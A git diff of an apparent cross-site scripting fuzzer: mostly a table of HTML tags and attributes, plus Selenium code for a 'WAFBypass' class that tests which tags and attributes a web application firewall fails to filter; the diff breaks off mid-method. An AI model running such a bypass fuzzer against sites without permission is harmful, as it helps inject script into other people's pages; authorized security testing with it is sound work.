HTMLAttribute('color', HTMLTagAttributeType.TypeColor), + HTMLAttribute('face', HTMLTagAttributeType.TypeText), + HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), + ], + 'bdi': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'bdo': [ + HTMLAttribute('dir', HTMLTagAttributeType.TypeDir), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'big': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'blockquote': [ + HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'body': [ + HTMLAttribute('alink', HTMLTagAttributeType.TypeColor), + HTMLAttribute('background', HTMLTagAttributeType.TypeURL), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('link', HTMLTagAttributeType.TypeColor), + HTMLAttribute('text', HTMLTagAttributeType.TypeColor), + HTMLAttribute('vlink', HTMLTagAttributeType.TypeColor), + ], + 'button': [ + HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL), + HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText), + HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), + HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + HTMLAttribute('value', HTMLTagAttributeType.TypeText), + HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget), + ], + 'canvas': [ + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'caption': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'center': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'cite': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'code': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'col': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('span', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'colgroup': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('span', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'data': [ + HTMLAttribute('value', HTMLTagAttributeType.TypeText), + ], + 'datalist': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'dd': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'del': [ + HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), + HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate), + ], + 'details': [ + HTMLAttribute('open', HTMLTagAttributeType.TypeFlag), + ], + 'dfn': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'dialog': [ + HTMLAttribute('open', HTMLTagAttributeType.TypeFlag), + ], + 'dir': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'div': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'dl': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'dt': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'em': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'embed': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'fieldset': [ + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + ], + 'figcaption': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'figure': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'font': [ + HTMLAttribute('color', HTMLTagAttributeType.TypeColor), + HTMLAttribute('face', HTMLTagAttributeType.TypeText), + HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), + ], + 'footer': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'form': [ + HTMLAttribute('accept-charset', HTMLTagAttributeType.TypeText), + HTMLAttribute('action', HTMLTagAttributeType.TypeURL), + HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), + HTMLAttribute('enctype', HTMLTagAttributeType.TypeText), + HTMLAttribute('method', HTMLTagAttributeType.TypeText), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), + ], + 'frame': [ + HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + ], + 'frameset': [ + HTMLAttribute('cols', HTMLTagAttributeType.TypeText), + HTMLAttribute('rows', HTMLTagAttributeType.TypeText), + ], + 'h1': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'h2': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'h3': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'h4': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'h5': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'h6': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'head': [ + HTMLAttribute('profile', HTMLTagAttributeType.TypeURL), + ], + 'header': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'hr': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('color', HTMLTagAttributeType.TypeColor), + HTMLAttribute('noshade', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'html': [ + HTMLAttribute('manifest', HTMLTagAttributeType.TypeURL), + HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL), + ], + 'i': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'iframe': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('allow', HTMLTagAttributeType.TypeText), + HTMLAttribute('allowfullscreen', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('allowpaymentrequest', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('allowusermedia', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('csp', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('importance', HTMLTagAttributeType.TypeText), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), + HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('srcdoc', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'img': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('alt', HTMLTagAttributeType.TypeText), + HTMLAttribute('border', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText), + HTMLAttribute('decoding', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('intrinsicsize', HTMLTagAttributeType.TypeText), + HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('loading', HTMLTagAttributeType.TypeText), + HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), + HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('srcset', HTMLTagAttributeType.TypeText), + HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), + HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'input': [ + HTMLAttribute('accept', HTMLTagAttributeType.TypeText), + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('alt', HTMLTagAttributeType.TypeText), + HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), + HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('capture', HTMLTagAttributeType.TypeText), + HTMLAttribute('checked', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('dirname', HTMLTagAttributeType.TypeText), + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('formaction', HTMLTagAttributeType.TypeURL), + HTMLAttribute('formenctype', HTMLTagAttributeType.TypeText), + HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), + HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('inputmode', HTMLTagAttributeType.TypeText), + HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('list', HTMLTagAttributeType.TypeName), + HTMLAttribute('max', HTMLTagAttributeType.TypeText), + HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('min', HTMLTagAttributeType.TypeText), + HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('pattern', HTMLTagAttributeType.TypeText), + HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), + HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('step', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + HTMLAttribute('value', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + + 'ins': [ + HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), + HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate), + ], + 'kbd': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'label': [ + HTMLAttribute('for', HTMLTagAttributeType.TypeName), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'legend': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'li': [ + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + HTMLAttribute('value', HTMLTagAttributeType.TypeNumber), + ], + 'link': [ + HTMLAttribute('as', HTMLTagAttributeType.TypeText), + HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText), + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('href', HTMLTagAttributeType.TypeURL), + HTMLAttribute('hreflang', HTMLTagAttributeType.TypeText), + HTMLAttribute('integrity', HTMLTagAttributeType.TypeText), + HTMLAttribute('media', HTMLTagAttributeType.TypeText), + HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), + HTMLAttribute('rel', HTMLTagAttributeType.TypeText), + HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'main': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'map': [ + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + ], + 'mark': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'marquee': [ + HTMLAttribute('behavior', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('direction', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('loop', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('scrollamount', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('scrolldelay', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('truespeed', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'menu': [ + HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'meta': [ + HTMLAttribute('charset', HTMLTagAttributeType.TypeText), + HTMLAttribute('content', HTMLTagAttributeType.TypeText), + HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText), + HTMLAttribute('name', HTMLTagAttributeType.TypeText), + ], + 'meter': [ + HTMLAttribute('high', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('low', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('max', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('min', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('optimum', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('value', HTMLTagAttributeType.TypeNumber), + ], + 'nav': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'noframes': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'noscript': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'object': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('archive', HTMLTagAttributeType.TypeURL), + HTMLAttribute('border', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('classid', HTMLTagAttributeType.TypeURL), + HTMLAttribute('code', HTMLTagAttributeType.TypeURL), + HTMLAttribute('codebase', HTMLTagAttributeType.TypeURL), + HTMLAttribute('codetype', HTMLTagAttributeType.TypeText), + HTMLAttribute('data', HTMLTagAttributeType.TypeURL), + HTMLAttribute('declare', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('standby', HTMLTagAttributeType.TypeText), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), + HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + + 'ol': [ + HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('reversed', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('start', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + + 'optgroup': [ + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('label', HTMLTagAttributeType.TypeText), + ], + 'option': [ + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('label', HTMLTagAttributeType.TypeText), + HTMLAttribute('selected', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('value', HTMLTagAttributeType.TypeText), + ], + 'output': [ + HTMLAttribute('for', HTMLTagAttributeType.TypeName), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + ], + 'p': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + ], + 'param': [ + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + HTMLAttribute('value', HTMLTagAttributeType.TypeText), + HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText), + ], + 'picture': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'plaintext': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'pre': [ + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'progress': [ + HTMLAttribute('max', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('value', HTMLTagAttributeType.TypeNumber), + ], + 'q': [ + HTMLAttribute('cite', HTMLTagAttributeType.TypeURL), + ], + 's': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'samp': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'script': [ + HTMLAttribute('async', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('charset', HTMLTagAttributeType.TypeText), + HTMLAttribute('defer', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('integrity', HTMLTagAttributeType.TypeText), + HTMLAttribute('language', HTMLTagAttributeType.TypeText), + HTMLAttribute('nomodule', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('nonce', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'select': [ + HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), + HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), + ], + 'small': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'source': [ + HTMLAttribute('media', HTMLTagAttributeType.TypeText), + HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('srcset', HTMLTagAttributeType.TypeText), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'span': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'strike': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'strong': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'style': [ + HTMLAttribute('media', HTMLTagAttributeType.TypeText), + HTMLAttribute('nonce', HTMLTagAttributeType.TypeText), + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'sub': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'sup': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'table': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('border', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('cellpadding', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('cellspacing', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('frame', HTMLTagAttributeType.TypeText), + HTMLAttribute('rules', HTMLTagAttributeType.TypeText), + HTMLAttribute('summary', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'tbody': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + ], + + 'td': [ + HTMLAttribute('abbr', HTMLTagAttributeType.TypeText), + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('axis', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('headers', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeText), + HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('scope', HTMLTagAttributeType.TypeText), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + 'template': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'textarea': [ + HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), + HTMLAttribute('autofocus', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('cols', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('dirname', HTMLTagAttributeType.TypeText), + HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('form', HTMLTagAttributeType.TypeName), + HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('name', HTMLTagAttributeType.TypeName), + HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), + HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('rows', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('wrap', HTMLTagAttributeType.TypeText), + ], + 'tfoot': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + ], + 'th': [ + HTMLAttribute('abbr', HTMLTagAttributeType.TypeText), + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('axis', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('colspan', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('headers', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeText), + HTMLAttribute('nowrap', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('rowspan', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('scope', HTMLTagAttributeType.TypeText), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + + 'thead': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + ], + 'time': [ + HTMLAttribute('datetime', HTMLTagAttributeType.TypeDate), + ], + 'title': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'tr': [ + HTMLAttribute('align', HTMLTagAttributeType.TypeText), + HTMLAttribute('bgcolor', HTMLTagAttributeType.TypeColor), + HTMLAttribute('char', HTMLTagAttributeType.TypeText), + HTMLAttribute('charoff', HTMLTagAttributeType.TypeText), + HTMLAttribute('valign', HTMLTagAttributeType.TypeText), + ], + 'track': [ + HTMLAttribute('default', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('kind', HTMLTagAttributeType.TypeText), + HTMLAttribute('label', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('srclang', HTMLTagAttributeType.TypeText), + ], + 'tt': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'u': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'ul': [ + HTMLAttribute('compact', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('type', HTMLTagAttributeType.TypeText), + ], + 'var': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'video': [ + HTMLAttribute('autoplay', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('controls', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('crossorigin', HTMLTagAttributeType.TypeText), + HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('loop', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('muted', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('playsinline', HTMLTagAttributeType.TypeFlag), + HTMLAttribute('poster', HTMLTagAttributeType.TypeURL), + HTMLAttribute('preload', HTMLTagAttributeType.TypeText), + HTMLAttribute('src', HTMLTagAttributeType.TypeURL), + HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + ], + + 'wbr': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'xmp': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'xml': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'xsl': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + ], + 'svg': [ + HTMLAttribute('title', HTMLTagAttributeType.TypeText), + HTMLAttribute('xmlns', HTMLTagAttributeType.TypeURL), + HTMLAttribute('xmlns:xlink', HTMLTagAttributeType.TypeURL), + HTMLAttribute('xmlns:xml', HTMLTagAttributeType.TypeURL), + HTMLAttribute('xmlns:xsl', HTMLTagAttributeType.TypeURL), + HTMLAttribute('xmlns:xhtml', HTMLTagAttributeType.TypeURL), + HTMLAttribute('xmlns:ev', HTMLTagAttributeType.TypeURL), + ], +} diff --git a/utils.py b/utils.py new file mode 100644 index 0000000..1820bb6 --- /dev/null +++ b/utils.py @@ -0,0 +1,45 @@ +import random +import time + + +def rndstr(length): + return ''.join(random.choice('0123456789abcdef') for i in range(length)) + + +def choice(arr): + return random.choice(arr) + + +def rndunicode(): + return chr(random.randint(0, 0x10FFFF)) + + +def choice_percent(elements): + # elements is a dict of {percent: action} + # like following: + # elements = { + # 10: lambda: 'a', + # 20: lambda: 'b', + # 30: lambda: 'c', + # 40: lambda: 'd', + # } + # that means we have 10% chance to get 'a', 20% chance to get 'b', etc. + + # get total percent + total_percent = 0 + for percent in elements: + total_percent += percent + + # get random number + random.seed(int(time.time() * 1000)) + rnd = random.randint(0, total_percent) + + # get action + for percent in elements: + if rnd < percent: + return elements[percent] + else: + rnd -= percent + + # should not reach here + return None diff --git a/xzzuf.py b/xzzuf.py index d0463ad..c66847a 100644 --- a/xzzuf.py +++ b/xzzuf.py @@ -5,19 +5,13 @@ from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait from urllib.parse import urlparse from urllib.parse import urlencode - -from tags import Attributes +from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType +from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags +from mutations import Mutations +from utils import choice # WAFBypass class -from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType - -t = HTMLTag("form") -i = HTMLTag("input", self_closing=True) -i.attributes.append(HTMLAttribute("type", HTMLTagAttributeType.TypeText)) -t.children.append(i) -print(t) - class WAFBypass(): code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}" @@ -26,8 +20,11 @@ class WAFBypass(): self.options = webdriver.ChromeOptions() self.options.add_argument('--no-sandbox') self.options.add_argument('--headless') + self.unfiltered_attributes = {} + self.unfiltered_tags = [] self.driver = webdriver.Chrome(options=self.options) self.url = urlparse(url) + self.mutator = Mutations() if not self.check_connection(): raise Exception("Connection Error") @@ -75,20 +72,110 @@ class WAFBypass(): return (is403, triggerxss) - def run_fuzz(self): + def identify_unfiltered_attributes(self): try: - for attr in Attributes: - # print(f"[*] Testing {attr.name} attribute {attr}") + self.unfiltered_attributes["global"] = [] + 